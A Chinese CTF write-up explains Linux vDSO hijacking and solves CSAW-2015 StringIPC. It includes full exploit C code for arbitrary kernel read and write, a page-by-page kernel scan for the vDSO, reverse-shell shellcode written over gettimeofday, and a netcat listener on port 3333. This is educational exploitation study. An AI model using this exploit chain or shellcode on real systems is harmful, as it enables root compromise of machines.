Hijack vdso
VDSO就是Virtual Dynamic Shared Object,是内核提供的虚拟的.so,这个.so文件不在磁盘上,而是在内核里头。内核把包含某.so的内存页在程序启动的时候映射入其内存空间,对应的程序就可以当普通的.so来使用里面的函数。Vdso里面封装了这几个函数,其作用主要是加快对于某些对速度要求很高的系统调用,更多详细信息可以查看https://blog.csdn.net/juana1/article/details/6904932
由于vdso是在内核里,每个程序使用的时候,从内核里映射给程序,如果我们事先在内核里把vdso给劫持了,并把相应的函数覆盖成我们的shellcode,然后,当其他程序要用的时候,从内核把我们篡改过的vdso映射过去,如果它正好调用了对应的函数,就会执行我们对应位置布下的shellcode。当然普通权限的程序,调用我们的shellcode,也只是普通权限;如果有root权限的程序,调用我们的shellcode,那么我们的shellcode也是以root权限执行。在linux中,crontab是带有root权限的,并且它会不断的调用vdso里的gettimeofday函数,因此,我们如果把gettimeofday函数劫持为shellcode,等待被调用即可。至于为什么可以劫持vdso,因为vdso对于用户程序,只读、执行,而对于内核,它是RWX的,可以修改。因此只要利用漏洞,将对于函数修改为shellcode,布置在vdso的shellcode可以为反弹shell的shellcode,也可以是再运行一个其他程序,其他程序将继承权限。以CSAW-2015-StringIPC为例。
CSAW-2015-StringIPC
为了劫持vdso,首先需要知道vdso在内核里的地址,查看内核映射图,vdso在内核附近,因此我们确定范围0xffffffff80000000——0xffffffffffffefff
0xffffffffffffffff ---+-----------+-----------------------------------------------+-------------+
| | |+++++++++++++|
8M | | unused hole |+++++++++++++|
| | |+++++++++++++|
0xffffffffff7ff000 ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
1M | | |+++++++++++++|
0xffffffffff600000 ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
548K | | vsyscalls |+++++++++++++|
0xffffffffff577000 ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
5M | | hole |+++++++++++++|
0xffffffffff000000 ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
| | |+++++++++++++|
1520M | | module mapping space (MODULES_LEN) |+++++++++++++|
| | |+++++++++++++|
0xffffffffa0000000 ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
| | |+++++++++++++|
512M | | kernel text mapping, from phys 0 |+++++++++++++|
| | |+++++++++++++|
0xffffffff80000000 ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
2G | | hole |+++++++++++++|
0xffffffff00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
64G | | EFI region mapping space |+++++++++++++|
0xffffffef00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
444G | | hole |+++++++++++++|
0xffffff8000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | %esp fixup stacks |+++++++++++++|
0xffffff0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
3T | | hole |+++++++++++++|
0xfffffc0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | kasan shadow memory (16TB) |+++++++++++++|
0xffffec0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffeb0000000000 ---+-----------+-----------------------------------------------| kernel space|
1T | | virtual memory map for all of struct pages |+++++++++++++|
0xffffea0000000000 ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffe90000000000 ---+-----------+------------| VMALLOC_END |------------------|+++++++++++++|
32T | | vmalloc/ioremap (1 << VMALLOC_SIZE_TB) |+++++++++++++|
0xffffc90000000000 ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffc80000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
64T | | direct mapping of all phys. memory |+++++++++++++|
| | (1 << MAX_PHYSMEM_BITS) |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
| | |+++++++++++++|
8T | | guard hole, reserved for hypervisor |+++++++++++++|
| | |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
|-----------| |-------------|
|-----------| hole caused by [48:63] sign extension |-------------|
|-----------| |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
PAGE_SIZE | | guard page |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
| | | user space |
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
128T | | different per mm |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+
我们该以什么为依据来搜索vdso呢?
我们可以以当前程序的vdso里字符串的偏移为依据,在程序中,获取当前的vdso地址的代码如下
- //获取vdso里的字符串"gettimeofday"相对vdso.so的偏移
- int get_gettimeofday_str_offset() {
- //获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
- size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
- char* name = "gettimeofday";
- if (!vdso_addr) {
- errExit("[-]error get name's offset");
- }
- //仅需要搜索1页大小即可,因为vdso映射就一页0x1000
- size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
- if (name_addr < 0) {
- errExit("[-]error get name's offset");
- }
- return name_addr - vdso_addr;
- }
我们先确定字符串,比如gettimeofday在vdso.so里的偏移,通过这段代码,即可确定,然后我们在指定的范围内,一页一页(0x1000字节)的搜索,如果在当前一页数据处偏移offset后是gettimeofday字符串,那么,我们就能确定当前页起始地址就是vdso在内核里的地址。我们必须一页一页的搜索,这样成功率高,因为vdso的映射就一页。
当我们搜索到vdso在内核的地址后,接下来,准备劫持gettimeofday函数,那么,我们需要先确定gettimeofday在vdso内的偏移。我们可以用gdb把vdso给dump出来,再来分析。
首先,运行我们未写完的exploit,得到vdso在内核中的地址
然后,我们用gdb target到虚拟机
接着dump出vdso.so,dump一页大小即可
这样,我们得到vdso.so,拖到IDA中,查看gettimeofday函数的偏移为0xCB0,由此,我们计算出gettimeofday函数在内核中的地址,利用任意读写漏洞,覆盖这里为我们shellcode即可。我们的shellcode是一个反弹shell的shellcode,它将shell反弹到本地端口3333。我们只需nc 本地端口3333即可。Shellcode可以自己编写,也可以用现成的https://gist.github.com/itsZN/1ab36391d1849f15b785
综上,我们exploit.c程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
//gettimeofday函数在vdso.so里的偏移
//运行程序,得到vdso.so的地址
//用gdb dump出vdso.so文件,拿到IDA里分析函数的地址
#define GETTIMEOFDAY_FUN 0xCB0
struct alloc_channel_args {
size_t buf_size;
int id;
};
struct shrink_channel_args {
int id;
size_t size;
};
struct read_channel_args {
int id;
char *buf;
size_t count;
};
struct write_channel_args {
int id;
char *buf;
size_t count;
};
struct seek_channel_args {
int id;
loff_t index;
int whence;
};
void errExit(char *msg) {
puts(msg);
exit(-1);
}
//驱动的文件描述符
int fd;
//初始化驱动
void initFD() {
fd = open("/dev/csaw",O_RDWR);
if (fd < 0) {
errExit("[-] open file error!!");
}
}
//申请一个channel,返回id
int alloc_channel(size_t size) {
struct alloc_channel_args args;
args.buf_size = size;
args.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
if (args.id == -1) {
errExit("[-]alloc_channel error!!");
}
return args.id;
}
//改变channel的大小
void shrink_channel(int id,size_t size) {
struct shrink_channel_args args;
args.id = id;
args.size = size;
ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
struct seek_channel_args args;
args.id = id;
args.index = offset;
args.whence = whence;
ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//读取数据
void read_channel(int id,char *buf,size_t count) {
struct read_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//写数据
void write_channel(int id,char *buf,size_t count) {
struct write_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
seek_channel(id,addr-0x10,SEEK_SET);
read_channel(id,buf,count);
}
//任意地址写
//由于题目中使用了strncpy_from_user,遇到0就会截断,因此,我们逐字节写入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
for (int i=0;i<count;i++) {
seek_channel(id,addr+i-0x10,SEEK_SET);
write_channel(id,buf+i,1);
}
}
//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移
int get_gettimeofday_str_offset() {
//获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr) {
errExit("[-]error get name's offset");
}
//仅需要搜索1页大小即可,因为vdso映射就一页0x1000
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
errExit("[-]error get name's offset");
}
return name_addr - vdso_addr;
}
//用于反弹shell的shellcode,127.0.0.1:3333
char shellcode[]="\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";
int main() {
char *buf = (char *)calloc(1,0x1000);
initFD();
//申请一个channel,大小0x100
int id = alloc_channel(0x100);
//改变channel大小,形成漏洞,实现任意地址读写
shrink_channel(id,0x101);
//获取gettimeofday字符串在vdso.so里的偏移
int gettimeofday_str_offset = get_gettimeofday_str_offset();
printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);
size_t vdso_addr = -1;
for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
//读取一页数据
arbitrary_read(id,buf,addr,0x1000);
//如果在对应的偏移处,正好是这个字符串,那么我们就能确定当前就是vdso的地址
//之所以能确定,是因为我们每次读取了0x1000字节数据,也就是1页,而vdso的映射也只是1页
if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
printf("[+]find vdso.so!!\n");
vdso_addr = addr;
printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
break;
}
}
if (vdso_addr == -1) {
errExit("[-]can't find vdso.so!!");
}
size_t gettimeofday_addr = vdso_addr + GETTIMEOFDAY_FUN;
printf("[+]gettimeofday function in kernel addr=0x%lx\n",gettimeofday_addr);
//将gettimeofday处写入我们的shellcode,因为写操作在内核驱动里完成,内核可以读写执行vdso
//用户只能读和执行vdso
arbitrary_write(id,shellcode,gettimeofday_addr,strlen(shellcode));
sleep(1);
printf("[+]open a shell\n");
system("nc -lvnp 3333");
return 0;
}
劫持vdso能够成功提权的条件是有root权限的程序调用vdso。在真实环境下,crontab会调用,而在模拟的qemu里,使用了一个程序来模拟
- #include <stdio.h>
- int main(){
- while(1){
- sleep(1);
- gettimeofday();
- }
- }
将它编译后,在init启动脚本里加入它。本题,自带了这个程序来模拟。